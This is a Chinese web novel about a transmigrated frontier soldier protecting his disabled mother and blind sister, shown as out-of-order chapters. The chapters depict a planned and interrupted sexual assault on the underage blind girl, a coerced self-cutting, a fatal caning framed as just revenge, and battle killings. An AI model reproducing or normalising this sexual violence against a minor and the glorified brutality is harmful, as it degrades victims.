“娘,彩儿,是我!”
呆愣片刻的叶十三,放下米袋,一手抓着彩儿凭空乱摸着的一只手,另一只手扶住眼前早已泪水涟涟的瘸子女人。
“哥哥……”
“我的闰儿……”
叶闰?
在彩儿和女人泣不成声的呼叫声里,叶十三借着前身那倒霉鬼残存的记忆,知道自己还有个叫“闰儿”的乳名。
他出生在一个闰月里,所以就叫了个“闰儿”。
闰年是有十三个月,“叶十三”则是他的大名。
“今天发粮饷,什长大人让我回家看看。”
叶十三扶妇人坐下,然后抓着彩儿的两只手,任由彩儿的手在他脸上摩挲着。
“他们没打你吧?”
妇人从上到下,又从下到上,一遍又一遍地打量着叶十三。
“是的哥哥,那些吃粮的人都很凶的,他们没打哥哥吧?”
把叶十三的脸从耳朵摸到了额头,又从额头摸到了鼻子,又说:“自从哥哥去了边哨的烽火台,娘天天在夜里哭的。”
本来准备了不少的话,叶十三这阵子却是一句都说不出来。
不用说,妹妹和母亲干的这些活,换来的粮食根本吃不饱肚子。
充军的奴籍,是没有自由的。
人命轻贱得就如蝼蚁一样。
自己的处境已经够惨的了,没想到,母亲和妹妹的处境,比他想象的还要
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不堪。
两个残疾人,而且还是女人,在这苦寒的边关之地,能活下去谈何容易?
“我很好!”
叶十三喉结一阵蠕动,又道:“他们没有打我,这些粮食先吃着,不够了我再拿。”
说完一句毫无底气的话,叶十三就像逃命一样,狼狈不堪地就离开了茅草屋。
虽然是两个和自己无任何血缘关系的人,此时却让叶十三的心里一阵刺痛。
她们,得靠他才能活下去。
如何活下去?
狠!
除了狠,他再别无选择。
只要有足够的狠,才能在这比狼还要狠的人窝里活下来。
能活下来,才能保护自己的家人活下去。
今年元蒙数万铁骑屡犯边境,从北防军那边得来的消息,元蒙**凶悍残暴,北防汉军无人能挡。
守卫烽火台,及时传递警讯,也是眼下最关键的一环。
备足木柴和狼粪,就是他们这些烽燧兵重要的日常。
多一个人,总比少一个人要强。
高五暂时放过叶十三,也是基于这个考虑。
有这么个倒霉货,**来犯边境,让他这种奴籍兵卒在前面做个挡箭牌,那自己被元蒙**兵杀死的概率就低一些。
起码,有人在前面挡着,多少能给自己赢得一息逃命的时间。
除了烽火狼烟示警,骑马传令也是其中的一项。
旗令兵出身的他,更懂这里面的道道。
破例没有克扣叶十三的粮饷,就是为了让这个倒霉鬼做替死鬼。
不然,作为一个什长,哪能让一个新来的奴籍兵卒吊打?
就是一个伍长,在一个奴籍兵卒面前,那也是天王老子般的存在。
什长就更不要说了。
但让他们感到意外的是,这个被贬为奴籍后充军而来的兵卒,却有着如此强悍的战斗力。
他清楚,就是把两个班的人加起来,都不一定是叶十三的对手。
虽然吃点亏让自己很没面子,但有这么个倒霉鬼,在这元蒙**随时都能来犯的这地方,不失是一件争取逃命机会的法宝。
有人能当替死鬼,何乐而不为?
第2章 这账划算
吃了大亏的伍长何虎,可不是这么想的。
虽然他和叶十三不在一个班里,再是有什长高五挡了下来,但也消除不了他已经起了的杀心。
在这连同自己在内的十个烽燧兵中,他的地位仅次高五一些。
但在军中的待遇,他俩拿的都是游击粮饷。
“**的轻点……”
满脸燎泡的何虎,半躺在一张粗木椅子上,由同班的步弓手陈四狗擦着菜油。
“大人!”
陈四狗笨手笨脚地往何虎脸上的燎泡上擦着菜油,沉声道:“得找机会弄死叶十三那个**。”
“就是,不能便宜了那小子!”
在烽火台垛口向远处瞭望着的丁威,借机也是一句。
“弄死那货,暂且不用上报,大人您还能和高什长平分了他的粮饷。”
说起粮饷,两袋糙米对烽燧兵们的诱惑,那可是不小啊!
只要叶十三**,那么就多出来一份空饷。
每个月五两银子的饷银,可以被什长和伍长分掉,但那两袋糙米,可以让其余人碗中的稀汤稍稠一点。
在这随时都能送掉性命的地方,别扯**创立军功了,吃饱肚子多活几天就算是已经赚了。
但何虎此时想的,还没把能分得的一袋糙米放在心上,就是如何出这口吃了亏的恶气。
“弄死他?”
何虎眼珠子一瞪,恶声道:“那小子在高五的班上,如何弄?”
“这还不简单?”
陈四狗放下手中豁了口的菜油碗,阴阴笑道:“正因为和那小子不在一个班上,事情才会好办一些。”
“说!”
何虎顿时来了精神,一下子从椅子上坐了起来,沉声说道:“有屁快放,别跟老子云里雾里的。”
“是这样……”
陈四狗俯下身子,用手遮挡着嘴巴,在何虎的耳朵旁边嘀咕了一阵。
“好,是条妙计!”
何虎一拍巴掌,眼里闪过一丝淫邪,狞笑道:“那老婆子虽然破衣烂衫的,但毕竟是出身名门,年纪是老了些,但也还有一丝风韵残存,何况还有个瞎眼的雏儿在。”
“我怎么就忘了这茬?”
从二人的话里咂吧出味儿来的丁威,从烽火台的垛口收回一张猥琐十足的脸来,邪笑道:“那老瘸子,还有小瞎子,怎么说也是个女人,总比那些母羊啊雌牛的要好不少……”
就连平时话很少的闷葫芦李富贵,闻言后兴奋得两眼放光,舔了舔自己的嘴唇说道:“村里唯一的一个寡妇,还让什长大人占了,那一老一少虽然残疾,但身上总有的是人味,总比膻臭无比的牲口要好百倍,大人要是玩腻了,还能赏给小的们一口……”
此时的叶十三,就像一头孤狼一样蹲在一处沙丘上。
前世的他,在考入军事指挥学院前,就已经是身怀绝技的高手了。
家境不俗的他,从小就被送到一处隐秘的机构学习各类杀技,目的就是将来为国出力。
但眼下,由于一场由实弹演戏时战友不慎走火的事故中,他中弹死亡后穿越在了这个倒霉鬼烽燧兵身上。
他面对的,不光是北防线上虎视眈眈的元蒙**,还有这些残酷无情的同伍兵卒。
更让他感到心塞的,就是这名义上的便宜母亲和妹妹。
情绪已经坏到了极点,他逃离了那个茅草屋,就是因为不敢直面两个身体残疾的亲人。
他活着,就是母亲和妹妹的唯一希望。
他也是母亲和妹妹在这个世上唯一的靠山。
但他同时也是母亲和妹妹心中最大的担忧。
一个奴籍兵卒,在军中往往是饱受**的,挨打受气那是再正常不过的了。
……
三天很快过去了,叶十三又从营房回到烽火台。
外出捡拾狼粪的差事,已经换成了别人,但在烽火台顶上值瞭望哨,可是他的新任务。
冬月里的风,就像刀子一样从叶十三的脸颊上划过。
什长高五几个,依旧在下面烤着牛粪火。
烽火台顶部的风,吹得叶十三睁不开眼睛,刚一转身躲着忽然刮来的风头,不经意间却看到,原本换岗回了营房的伍长何虎,却带着陈四狗向沙窝里的茅草屋走去。
一阵不详的预感,霎时就袭上叶十三的大脑。
他们,去哪里要干什么?
不好!
他名义上的便宜母亲刘叶氏和妹妹彩儿,虽然是个残疾人,但她们更是女人啊!
能把母羊和雌牛,都能当作仙女的边关烽燧兵中,刘叶氏和彩儿的存在,预示着一份危险已经逼近。
尽管叶十三不想把事情往最糟糕的程度去想,但想起前几天何虎被他拽得跌进牛粪火的灰堆里烧伤了脸的事,不由得一颗心就抖了起来。
呼吸一窒的叶十三,第一反应就是冲下了烽火台。
“回来,干什么去?”
在牛粪火堆旁打着盹的高五,被叶十三的举动吓了一跳。
待明白叶十三的意图时,被惊出了一身冷汗的高五大吼道:“混账东西,你可知道烽燧兵擅离职守是何大罪吗?”
“什长大人,我只是想去趟村里,用不了多大一会。”
手已经搭在了顶门棍上的叶十三,冷冷地甩过来一句。
“回村里?”
高五神色严峻,阴着一张脸又道:“上次换岗时,我不是放了你一天假吗?”
“你要知道,当值的时候离开烽火台,那可是临阵脱逃的死罪!”
“你,可要给老子想清楚了?”
作为什长的高五,声色俱厉地对叶十三斥责了起来。
“什长大人,我求你了……”
知道后果严重性的叶十三,不禁向高五投去哀求的一瞥。
“何伍长他们,绝对没安好心,我娘和妹妹……”
“住口!”
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叶十三的话还没说完,面颊一抖的高五又道:“你此时离开烽火台,不但会背一个临阵脱逃的罪名,而且我也要受到牵连。”
“如果放你离开,你以为何虎会放过我这个什长?”
“何虎他,盯着什长这个位子已经很久了,于公于私,我都不能给他这个机会。”
高五一咬牙,语重声长的直接把话向叶十三点透。
何虎的这一手真毒,一石二鸟的绝妙之计。
拿刘叶氏或者彩儿快活一阵,也好出了心中的那口恶气。
要是叶十三为此离开烽火台撵到村里,如此更好,可以向上峰北防军大营报告。
这样一来,叶十三会以‘临阵脱逃’的罪名被处死,高五也会受牵连免了什长之职。
而他,这个伍长,理所当然的就会升职为什长顶替了高五。
面对高五稳如老狗般的笃定,心急如焚的叶十三却绷不住了。
冷冷地斜瞥高五一眼,沉声道:“就是元蒙铁骑此时犯了大夏,相隔几十里的路程,也不是说到就能到的,我只要一炷香的功夫就够了,什么狗屁倒灶的临阵脱逃?”
叶十三反问一句,咬牙又道:“就是元蒙**来了,我们谁都跑不了,还不照样要迎敌?”
“反正,横竖都是一死,由你们好了!”
撩下一句狠话,叶十三挪开顶门的杠子,出了烽火台后撒腿就向村口的沙窝里跑去。
“放开我,快滚开……”
“官爷行行好吧!她还是个孩子……”
叶十三还没到茅屋前,老远就听到茅屋里面撕心裂肺的叫喊声。
“娘,救我……”
“官爷啊!求你放过我的彩儿吧……”
彩儿的哭喊声和叶刘氏的哀求声,交织在一起就像一把锯子在拉扯着叶十三的心。
“哈哈哈……”
从茅屋的破窗里,又传出何虎的狂笑。
“老不死的,等爷先尝尝这瞎妮子的鲜,然后再慢慢收拾你这个老东西……”
听着何虎淫邪的笑声,叶十三双眼寒芒顿起。
“站住!”
发现叶十三已经向茅屋这边飞奔过来,在门口望风的陈四狗,恶狠狠的双臂一伸拦在茅屋门口。
“识相的,就滚回烽火台上去,不然伍长大人办你个临阵脱逃罪……”
“啪!”
陈四狗的话还没说完,就被旋风一样冲过来的叶十三一个巴掌抽得就像陀螺一样原地转了起来。
“扑通!”
在原地转了三圈的陈四狗,张口“噗”的一声就喷出一口老血。
被喷在地上那滩殷红的老血里,醒目地躺着两颗焦黄的后槽牙。
这一抽,直接让陈四狗昏**过去。
“哗啦……”
原本摇摇欲坠的屋门,被叶十三从外面推开。
“畜生,放开我妹妹!”
一声暴喝,就像惊雷一样炸响。
第1章 捡狼粪的小卒
“放开我妹妹……”
双眼喷火的叶十三,话还没落地,人已经就像一只大鸟扑到何虎面前。
此时的叶刘氏,原本破烂的衣衫已经被撕扯得多处见肉。
嘴角挂着一缕血丝的叶刘氏一见到叶十三站在眼前,顿时吓得失声叫道:“我儿赶快回去值守,这里有娘向伍长大人求情就可,千万莫误了军事公干……”
“滚开!”
已经把彩儿摁在身下的何虎,恼羞成怒之下,抬起一脚就踹在叶刘氏的心窝,怒骂道:“再敢妨碍老子的美事,先弄死你这个瘸子婆。”
“啊……”
一声惨叫,叶刘氏就像一只断了线的风筝落在墙角。
“哥哥救我……”
听到是叶十三来了,就像抓住一根救命稻草的彩儿,不顾一切地把何虎推向一边后急喊道:“哥哥,快带我们离开这里吧!”
说完,彩儿慌忙从地上的羊毛堆里坐了起来,惊慌失措地掩好了被何虎撕裂的衣裙。
叶刘氏的左腿,本来是不瘸的,在漫长的充军路上被扭伤后,由于得不到有效的救治这才留下残疾。
何虎方才的蹬腿一踹,立即就让虚弱不堪的叶刘氏昏死过去。
“反了!”
好事被搅的何虎,继而把目光从叶刘氏身上转移到叶十三脸上,嘴角扬起一丝狞笑,道:“死到临头,还不跪下来向老子磕头求饶?”
“呸!”
叶十三愤怒的双眼喷火,缓缓弯下腰来把彩儿揽进自己的怀里,盯着何虎狰狞无比的脸,咬着牙冷声说道:“打我娘,辱我妹,你得付出代价!”
“咔嚓!”
随着话音一落,叶十三突然出脚踹向何虎的一只膝盖。
一声骨裂的脆响之下,额头上冒着豆粒大汗珠的何虎,闷哼一声就跪倒在地。
“你……敢打……老子……”
何虎眼里泛起一丝怯意,咬着牙想让自己站起来。
可是努力了三次,额头的汗珠子已经流成了雨帘,但还是没有成功的站起来。
看到何虎扭曲的脸上布满了惊恐和恨意,叶十三淡淡又道:“今天老子饶你一命,先废你一条腿,从这里爬着出去,要是胆敢有下次,老子绝不轻饶,滚!”
叶十三最终还是没有选择**,而是踢断了何虎的一条腿以示惩罚。
“你,你等着!”
疼得冷汗如雨的何虎,尽管用尽了气力却还是没能站起来,在与叶十三的目光对视片刻后,怵然低下头来爬着出了屋子。
“娘,娘,您听到彩儿的声音了吗?”
偎在叶十三怀里的彩儿,突然抬起头来,一双手在空中乱抓着叫喊道:“娘,是哥哥救了我们,您听到了吗?”
娘?
在彩儿的惊叫中,叶十三这又意识到,倒在墙角的那个老妇人,是他眼下两世为人的娘。
“娘……”
及时进入了角色的叶十三,松开怀里的彩儿,跃到墙角后就把倒下的叶刘氏扶了起来抱在怀里。
“娘您醒醒,我是叶闰,是您的闰儿。”
在叶十三的一阵摇晃下,怀里的叶刘氏缓缓睁开了眼睛,虚弱道:“闰儿,你闯祸了!”
说着,从眼角滚落下来两行泪珠,叶刘氏痛苦地闭起眼睛抽泣道:“他们,不会放过我们的,奴籍命贱,生杀大权在他们手里,我们没法抗争。”
“娘,您还活着?”
眼睛看不见东西的彩儿,被搓了一半的牛毛绳绊倒在地,顾不上爬起来的她,伸着一只手就朝发声的地方爬了过来。
“彩儿,娘苦命的孩子……”
看到彩儿在地上艰难地爬着,心如刀绞的叶刘氏突然推开了叶十三,恨声说道:“不要管我们,你,赶快回烽火台去值守,要是耽误了军机战情,我们全家都会被**的。”
“娘!”
叶十三的一只手,轻轻地拍打着叶刘氏的后背,轻声说道:“如果他们想要闰儿的命,就擅离职守这一条,不等元蒙**来犯,他们就能上报北防军砍脑袋的。”
“哥哥,你赶快回去,不然他们真会砍你的头,我和娘也就活不成了。”
“只要你活着,只要他们不杀你,让娘和彩儿为他们干什么都成。”
彩儿和叶刘氏,紧张得不知所措,一个劲地催促叶十三回烽火台。
叶十三抱着叶刘氏站了起来,缓缓走到炕边,轻轻地把叶刘氏放在炕上躺平。
“娘,您和彩儿就别为我发愁了,既就是我向他们磕头求饶,他们也轻易不会放过我的,我们奴籍,在他们的眼里还不如一堆点烽燃燧的狼粪重要。”
没错!
在边关前线这种地方,**那可是常有的事。
何况一个奴籍兵卒,根本没人拿他们当回事。
只要处死他们的理由正当,一个百夫长就有决定他们命运的生杀大权。
“听娘的话!”
眼角又溢出泪水的叶刘氏,用哀求的眼神望着炕沿前站着的叶十三,痛声道:“娘知道,这些兵们都缺女人,我们奴籍命贱,只要他们不为难你,任由他
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们来吧……”
“娘!”
叶十三愤怒得面颊一阵急抖,恨声又道:“不用怕他们,有闰儿在,您和彩儿就没人敢欺负。”
“傻孩子,只要你活着,就是娘最开心的事,叶家只剩你这么个男丁了,就是娘和彩儿被他们那些畜生糟蹋了,相信叶家的列祖列宗也不会怪罪为娘的……”
叶刘氏似乎接受了命运的逼迫,以为只有满足那些人的发泄,他们就会放过叶十三的。
为了保住叶十三的命,她宁愿放弃做女人的清白。
在千里充军和流放的路上,女眷们在那些如狼似虎的兵士们蹂躏下,致残、致死的也不是没有。
自从被贬为奴籍后,叶家年轻且有几分姿色的女眷,尽数被充了官妓。
剩下的老弱病残,这才被流放到这苦寒之地罚作苦役。
贞洁和尊严,在这里是最不值钱的东西。
在这些常年见不到女人的烽燧兵眼里,她们就是一头母羊和母牛,而不是一个有着尊严的女人。
某种意义上讲,他们对待奴籍的手段,并不比元蒙**对待大夏子民好多少。
被贬为奴籍,就是一个个会说话的牲口而已。
在他们是眼里,奴籍连庶民都不是。
“快回去!”
叶刘氏蜡黄的脸上,逐渐恢复了平静,淡淡又道:“不要管我们,你就当娘和彩儿死在了充军流放的路上,你要好好的活下去,为了叶家的冤屈,为了你爹的半世英名,你也要活下去,再难,也要活下去……”
“别说了!”
叶十三痛苦地用两手使劲地撕扯着自己的头发,几乎是吼着说道:“只要我还有一口气在,就不让娘和妹妹被人欺负,如果娘不答应闰儿的话,闰儿宁愿**!”
“不要……”
已经明白了叶刘氏所做的决定的彩儿,爬在叶十三脚下哭喊道:“哥哥,你不要死,千万不要,就听娘的话好吗?彩儿和娘不会责怪你的,只要你能活着,彩儿愿意……”
再是毫无血缘关系的便宜亲人,如此境地之下,叶十三的一颗心霎时就颤栗起来。
靠着瘸了一条腿的母亲,还有这个未成年的瞎眼妹妹,去取悦那些和牲口无异的兵渣,真比杀了他还难受。
“听好了!”
叶十三咬着牙,紧握着拳头又道:“我会保护自己的,更会好好地活下去,但绝不让娘和妹妹让他们糟蹋。”
说完,叶十三再一次就像逃命一样,以最快的速度离开了沙窝里的茅草屋。
第9章 第一次**
“什长大人,此人迟早是个祸害!”
看到何虎五人回了营房,倍感失望的赵大牛,不怀好意地嘟囔了一句。
宁事息人的高五,哪能不懂赵大牛的那些鬼心思?
“闭嘴!”
高五眉头一皱,沉声斥道:“眼下非常时期,当应把心思放在哨位上。”
元蒙**屡犯边境,驻守黄羊烽火台只有这两班人,眼下何虎断了一条腿,不能再起内讧削减人力。
“都给老子盯紧了,谁要是再生事端,一律军**处!”
高五以防务为由,给自己一个台阶,也算是给叶十三一个安抚。
找机会弄死一个奴籍兵卒,原本不是多难的事,可眼下,高五并不打算这么干。
“你,瞭望东南面。”
高五一指叶十三,立即就安排了哨位。
然后,高五又把目光投向马成,道:“西北面就交给你了,盯仔细了。”
吩咐完烽火台观望哨的军务,高五一摆手,向张由甲和赵大牛又道:“两个时辰后,你俩换他二人下来。”
如此一来,叶十三和步弓手马成一组。
另外一组,当然就是张由甲和赵大牛了。
赵大牛按在腰间佩刀上的那只手,手心里已经被攥出了一把湿津津的汗水。
“哼!”
鼻子里冷哼一声后,这才悻悻的下了烽火台。
眼下,这场内斗表面上看似平静了下来,但叶十三的心里却依旧是沸腾不已。
根据残存的记忆,他记得曾经被分到黄羊岘这个烽火台以来,这帮人就没少欺负他。
分到他碗里的稀粥,不但沙子硌牙,而且清得能照出人影。
这九个烽燧兵里面,还有两个高高在上的什长和伍长,就是剩下的七个步弓手老兵,
那也是他这个新人头上的一层天。
不但吃不饱不说,而且还要替他们捡拾用来发布警报的狼粪。
这下好了,打了这些人,就等于是把梁子给结下了。
这些人绝对不可能有好果子给他吃,包括什长高五,表面上平息了事端的恶化,这足矣证明高五要比其他人还要阴险一些。
得防着这些鸟人。
在烽火台里面近身搏斗,这些鸟人们是吃亏不少。
但保不住这些步弓手会选择在外面开阔地上向他下手。
尤其是赵大牛背着的那张硬弓,射程足有百步。
要是这些鸟人暗中放箭,保不准他会一命呜呼。
贬为奴籍的人,虽然没有什么自由和尊严可言,但他不是之前的那个倒霉鬼叶十三。
古代的军营,等级更是森严,远谈不上什么平等和友爱。
武力就是王道,无论在敌人面前,还是在自己人面前,永远都是。
要想不被这些鸟人给虐死,那只有武力值说话,只有手中的刀主持公道。
也许是从叶十三的眼中,从来不失机灵的马成,好像从中读懂了什么?
“叶老弟!”
比叶十三年长不了几岁的马成,一脸讪笑地说道:“瞭望哨要比捡拾狼粪轻松多了,老弟再也不用东奔西跑那么辛苦了。”
屁话!
这话用得着你这鸟人在老子面前卖好?
面对马成突然向他献殷勤,叶十三心里暗暗一阵得意。
看来,人还是要凶狠一点的好,不然,在这些连牛羊都不放过的鸟人面前,还有他说话的份?
既然在前世没命发挥自己的才能,那么就在这魂穿过来的地方让自己混出个名堂来。
虽然说在前世练了一身的杀技,但真正意义上他还没杀过一个人。
眼下虽然表面上停止了内斗,但不能保证何虎养好伤以后对他实施暗算。
陈四狗,还有赵大牛,都是煽风点火的搅屎棍子,不可能由此就放过他。
不怕贼偷,就怕贼惦记。
与其让这些鸟人惦记着,不如先下手为强,把这些隐患给除了。
杀掉几个,剩下的就老实了。
何虎、陈四狗,还有赵大牛这三个鸟人,一个都留不得。
尤其是何虎这个畜生,居然对他的母亲和妹妹能做出那样的事来,该杀!
想到这里,叶十三眼里闪过一丝寒芒,把目光投向马成脸上。
“你,下去一趟,把他们都叫上来,我有话要说。”
叶十三心中已是杀机澎湃,目光冷得直让马成打哆嗦。
“瞭望哨不能一刻无人值守,依我看,还是等交**的时候再说吧!”
马成面上一抽,直觉得叶十三的目光冰冷得有些可怕。
“那我自己去!”
叶十三并没有被马成的拒绝所动,脖子一扭就下了烽火台。
“你,居然敢擅自离岗?”
刚顺着台阶回到底层,围着牛粪火堆烤火的赵大牛就跳起来吼道:“别给脸不要脸,什长大人对你已经网开一面,你却毫不感恩,又一次违反军纪。”
“什长大人!”
赵大牛觉得机
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会来了,转头又向高五说道:“这小子无法无天,迟早会给咱黄羊岘这班人惹祸,留着他也是浪费军粮,干脆军法从事……”
对于叶十三的突然出现,高五有一种不祥的预感。
“你?”
高五没有理会赵大牛,而是把目光投向叶十三道:“还不到轮换时间,你为何擅离哨位?”
“我饿!”
叶十三眼中寒芒迸溅,冷声就是一句。
“你**就是个饿死鬼投胎,宰了反而省出一份军粮来。”
赵大牛在高五这里讨了个没趣,直接迁怒到叶十三身上,“仓啷”一声,就从腰间拔出佩刀压在叶十三的脖子上。
“什长大人,就让小的宰了这怂货,先把他的那份军粮给弟兄们分了。”
赵大牛先发制人,先入为主地向高五抛过来一句。
就在赵大牛的目光,与高五的目光对视下等待暗示的时候,叶十三突然出手,一手握住赵大牛握刀的手腕一个反转,另一只手按在赵大牛的刀背上,把刀口对着赵大牛的脖子缓缓摁了下去。
随着叶十三的双手不断用力,黑塔一样站着的赵大牛,双腿打着颤不断地矮了下去。
在高五和张由甲惊恐的注视下,赵大牛的身子不断矮了下去,双膝最后在地上跪出了两个坑。
谁也没料到,叶十三会在眨眼间把按在自己脖子上的刀反转到赵大牛的脖子上。
再看刀锋,在叶十三的一只手不断用力下,徐徐地在赵大牛老粗的脖子上深陷进去。
“你,你要干什么?”
此时肝胆俱裂的赵大牛,不由得偏着脖子,惊恐万状地叫喊道:“别开玩笑,快,快撒手。”
“玩笑?”
叶十三嘴角一扬,轻蔑地说道:“和你开玩笑?你也太抬举自己了吧!”
说着话的同时,叶十三的一只手不断地按下刀身,赵大牛脖子上被刀锋压下的深缝里,缓缓地冒出一串醒目又刺眼的血珠子来。
“什长大人,快救我!”
情知不妙的赵大牛,已经尝到了死亡的威胁,那种利刃钻进肉里的疼痛感,这才让他意识到叶十三是对他下了**。
随着血珠的不断涌出,那把刀的刀身,已经有一半陷进了赵大牛的肉中。
赵大牛握着刀柄的那只胳膊,已经被弯成了曲尺形,被叶十三的一只手握得纹丝不动。
此时赵大牛的脖子处,血珠已经连成了血线,汩汩地往外冒着。
第38章 **的嘴短,拿人的手短
“啊……”
徐老六面颊急抽,万没想到,这叶十三居然把同一件事,分成三份来说。
这叶十三是谁?
那可是杀了成百元蒙**的军功之人。
军部的嘉奖很快就会下来,到时候晋升后的职务,不知道要比他这个佥事高几级?
再说,杀了**,给**造成的震慑,可让屯田村暂且安宁一些时日。
还有抢来的粮食,耕牛和战马,不也是给屯田村分了吗?
拿人家的手短,**家的嘴软。
这种势态下,何正这个不长眼的土财主,可真是会挑日子惹事。
看来,今天不让何正褪下三层皮来,首先叶十三的这一关,那可是过不了的。
“回叶什长话!”
徐老六面颊又是一抽,正色道:“敲诈勒索现役军人,杖三十,罚银五十两,苦役两月。”
“佥事大人明鉴啊!”
还没升堂,被摁着跪在地上的何正,已经被吓得魂飞魄散,急忙喊道:“不看僧面看佛面,草民的堂弟何虎,也在烽燧兵任伍长职,就是草民无心之过,但也够不上杖刑加身,草民……”
靠着各种手段发家的土财主何正,自然是不甘心就这样被拿捏。
他万没想到,一个奴籍兵卒,居然能指使垦区的田兵佥事来对他动刑?
“大胆!”
不料徐老六并不买账,拳头一擂桌面,怒斥道:“如何决断,乃是本佥事量刑的,岂由你一介草民大呼小叫?”
“来呀!”
沉下脸来的徐老六,拳头又是一擂桌面,向左右的田兵喊道:“先把这狂徒杖五十,其他的再说。”
五十杀威棍,足可让何正皮开肉绽。
要是不经打,说不定一通杖刑下来,年过半百的何正就会由此见阎王。
“佥事大人且慢!”
就在这时候,围观的看热闹的人群外面,挤进来一个人。
是韩老三。
韩老三弯着腰,带着老大儿子韩庆,提着一根棍子就来到书案前面。
“请佥事大人恕小的背部有伤无法行大礼。”
韩老三偏着脑袋,拱手又道:“小的因伤休养,耽误军务不少,这杖刑,就由小的父子来代劳吧!”
现场有的是田兵,完全可以对何正执行杖刑,这刚从鬼门关被叶十三拉回来的韩老三父子,这是唱的哪出啊?
“你……”
一看到韩老三出现,何正眼里闪过一丝恐惧,惊到:“关你什么事?”
“如何就不关我事了?”
韩老三缓缓转身,偏着脑袋坏笑道:“老子身为田兵,乃佥事大人手下,对你执行杖刑,那也是分内之事。”
这一幕,倒把叶十三给整懵了。
这韩老三不在屋里养伤,跑签房凑什么热闹?
正在这时候,韩老三的小儿子溜了过来,附在叶十三的耳朵上小声说道:“什长叔,这狗东西何员外太狠毒了,我爷爷就是他家的佃户,去年粮食欠收,活活给饿**。”
什么?
闻言之下,叶十三大惊,他这才知道,韩老三的老家,居然是芦河湾村?
这可是冤家路窄,看来何正今天是在劫难逃了。
再看父子俩手中的棍子,那可是枣木棍,而不是田兵手中拿着的白蜡杆。
白蜡杆看起来直溜,但柔韧。
可枣木棍就不一样了,不直溜不说,而且上面多是硬节。
这要是打在人的身上,不只是皮开肉绽那么简单,恐怕连骨头都会被打碎。
何正也不傻,恐惧得瞳孔一阵紧缩,大喊道:“佥事大人,绝不能让韩老三公报私仇,你身为佥事,更不能徇私枉法啊!”
这一声喊,徐老六的脸色更加黑了。
不就是个土财主吗?
仗着镇里有些关系,搜刮村里百姓,压榨佃户,还敢在他面前叫嚣。
“佥事大人,让我来!”
又有两名田兵走上前来,向徐老六拱手一礼,道:“韩老三本是休假之人,其子韩庆只是家属,又非在编军职,还是由小的执行杖刑。”
这下,徐老六明白了。
这二人,也是从芦河湾村出来的。
他们的家小,也还在村中,都是何家的佃户。
这一下,韩老三是无话可说了,心里反而更加高兴。
就眼前这二人,总比他这个元气还未恢复的伤兵要有劲多了。
让他二人执行杖刑,这可要比他父子更凶猛。
“张三,李大
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头,你们敢对我动手?”
惊恐之下,何正咆哮起来。
他万没想到,这些人也借机跳了出来。
“别忘了,你们的家人还在芦河湾村,得罪了本员外……”
叫骂不止的何正,突然戛然而止,他从二人是眸子中,看到有杀气四射。
本来只想出一口恶气的两名田兵,被何正这一通威胁,二人眼中顿时杀机迸溅。
“给张叔,接着。”
机灵的韩庆,把自己手中的枣木棍子,直接扔向其中的一名田兵。
韩老三少有血色的脸上,也浮起一丝古怪的笑,把手中的枣木棍递向另一名田兵,道:“那就有劳李兄弟了!”
“徐老六,你敢对本员外行刑,小心镇里……”
“来人,杖五十!”
面色黑青的何正,威胁的话还没说完,就被徐老六一声令下打断。
“啪!”
“啊……”
“啪!”
“啊……”
一声棍子打在**上的闷响,一声撕心裂肺的惨叫,顿时就交叉着起伏不断。
“一,二,三……”
“啊……啊……”
当数着数的人,报到三十六的时候,被摁得趴在地上的何正,已经叫不出声来。
一同来的成十个家奴护院,此时已经都被吓得魂飞魄散。
他们惊恐地望着眼前地上一动不动的何正,都明白过来,何家这一劫,已经是在所难免了。
“杖数不足,继续执行!”
已经对何正痛下杀心的徐老六,已经是骑虎难下,只有硬着头皮让田兵把杖刑执行完毕。
“啪,啪……”
枣木棍子又在两名田兵的手里抡圆了起来。
背上的棉袄已经被打得成了碎片四散溅落的何正,此时就像一坨泥巴一样趴在地上一动不动。
“四九,五十。”
“禀报佥事大人,杖刑完毕!”
当最后一棍落下,在数数的田兵报出数目后,张三和李大头二人,这才悻悻地收起棍子立在一边。
“佥事大人,何正他,**!”
报完数目的田兵,蹲了下来一探何正的鼻息,又一摸何正的腕脉,仰起头来又道:“没气了,也没了脉跳……”
第57章 吴六子,你**真是个人才
“嗖嗖……”
叶十三身后,有两支箭射出。
“啊……”
一声惨叫过后,扔掉了火把和弯刀的一个**,双手捂着眼睛倒地惨叫不已。
看来,两支射出的箭,一支走空,一支射中了一名**的眼睛。
“跟他们拼了!”
带头的**暴吼一声,抡起手中的弯刀,向后面的正举着弓箭的一名兵卒扑了过来。
“噗嗤!”
突然,高高跃起的**,随即就直线坠落地面后,后背喷出一股血箭狂奔两步,身子猛然一晃,然后缓缓倒地。
他的身体上,一个血洞从前胸直通后背。
叶十三就像一只蝙蝠,横冲直撞乱飞一气。
“啊……”
惨叫声,闷哼声,兵刀尖锐的撞击声,霎时就交织在一起。
一个接一个的**,在叶十三幽灵一样的游走中,不断地惨叫、倒下、死去。
两个甲正,十名兵士,都围成了个半圆,傻呆呆地站着看叶十三挥刀**。
他们都被月光下叶十三的身形和刀法震惊了,这哪里是刀术?
倒像是一群人在眼前捉迷藏玩。
“都愣着干什么?”
叶十三收了刀,冲着被惊呆了的同伴又吼道:“把他们的靴子,革甲皮袍都脱了带走,兵器也不要落下。”
这一声吼,回过神来的同伴们,即刻就动起手来。
**的靴子,革甲,皮袍,还有散落在地的各种兵器,全都被收集起来捆扎在一起。
“嘎嘎……哇呜……”
一阵野鸭的声音,还有叫春的猫发出的声音,由远而近地传了过来。
“千户大人,是吴六子他们得手了。”
一名兵卒笑着,赶快从地上捡起一支还没熄灭的火把举起来挥了几下。
草!
这小子,真**是个人才,我说这大冬天的,哪有家猫在野外叫春的?
就是野鸭,这一片没芦苇荡,没有水域,大半夜的叫什么叫?
叶十三咧着嘴笑了,目光一扫地上的**尸体,足有二十具之多。
剩下一个**捂着眼睛翻滚着惨叫个不停,也被一名甲正补刀杀了。
不多时,五条人影向这边飞奔过来。
定睛一看,叶十三乐了。
马成在内的五人,身上都背着不少元蒙獒犬的尸体。
元蒙獒犬体型高大,被马成几个倒背在背上时,脑袋都拖在了地上。
其中一名兵卒,身上足足背着三条,累得张大了嘴直喘气。
“你**真是个人才!”
叶十三走动吴六子面前,笑骂了一句。
吴七咧着嘴傻笑着,道:“大人,这下咱有狗肉吃了,冬九吃狗肉,那可是大补啊!”
“行了!”
叶十三一扬手,沉声道:“此地不可久留,快去围栏那边赶马。”
这时候,由于为数不多的**,都被调虎离山去追狼群,仓库和围栏这边,已经空无一人。
